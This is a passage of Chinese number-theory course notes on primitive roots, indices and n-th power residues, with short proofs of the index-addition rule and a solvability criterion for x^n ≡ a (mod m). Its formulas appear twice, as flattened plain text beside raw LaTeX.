定义4.8 原根:设m为正整数,整数a满足(a,m)=1,a模m的阶ordm(a)是指a(mod m)在Zm\mathbb Z_m^*中的阶;如果Zm\mathbb Z_m^*为循环群,整数a称为模m的原根是指a(mod m)为Zm\mathbb Z_m^*的生成元

根据上述定义,a所在模m剩余类中所有整数的模m阶均为ordm(a)

根据原根定义:当m=2,4时,模m原根分别为1,3
一般地,当且仅当m=2,4,pa,2pa(p为奇素数,a≥1),模m有原根

定理4.9 设<g>是一个n元循环群,a,b∈<g>,则indgab\equivindga+indgb(mod n)
证明:indga=x,indgb=y,则gx+y=ab=gindgabg^{ind_gab}
gx+yindgab=eg^{x+y-ind_gab}=e,又ord(g)=n,故n|x+y-indgab,故结论成立

定义4.9 设m是大于1的正整数,如果n次同余式xn=a(mod m), (a,m)=1有解,则a称作模m的n次剩余,否则为模m的n次非剩余。

定理4.14 (高次剩余)设m为大于1的正整数,g为模m的一个原根,(a,m)=1,d=(n,φ\varphi(m)),那么xn=a(mod m)有解的充要条件为aφ(m)d1(modm)a^{\frac{\varphi(m)}{d}}\equiv 1(\mod m)
证明:g为模m的一个原根,所以Zm=<g>,xna(modm)\mathbb Z_m^*=<g>,x^n\equiv a(\mod m)有解的充要条件是indgxn=indganindgxindga(modφ(m))ind_gx^n=ind_ga\Rightarrow nind_gx\equiv ind_ga(\mod \varphi(m))(注意模m的循环群一共只有φ(m)\varphi(m)个元素,因此要模φ(m)\varphi(m)!),令X=indgx,则有nXindga(modφ(m))nX\equiv ind_ga(\mod \varphi(m))
该一次同余式有解的充要条件为(n,φ(m))|indga,即d|indga,等价于indga\equiv 0(mod d)
由定理2.4(4)有φ(m)dindga0(modφ(m))\frac{\varphi(m)}{d}ind_ga\equiv 0(\mod \varphi(m))。两边取“指数”得aφ(m)d1(modm)a^{\frac{\varphi(m)}{d}}\equiv 1(\mod m),故原命题成立。

:该定理还能帮助求解高次同余式的解数。对于同余式axb(modm)ax\equiv b(\mod m),其有解的充要条件为(a,m)b(a,m)|b,且通解可以写成x=x0+m(a,m)t,t=0,1,...,(a,m)1x=x_0+\frac{m}{(a,m)}t,t=0,1,...,(a,m)-1的形式,因此解的数量为(a,m)(a,m)。那么nXindga(modφ(m))nX\equiv ind_ga(\mod \varphi(m))的解数应该有(n,φ(m))(n,\varphi(m))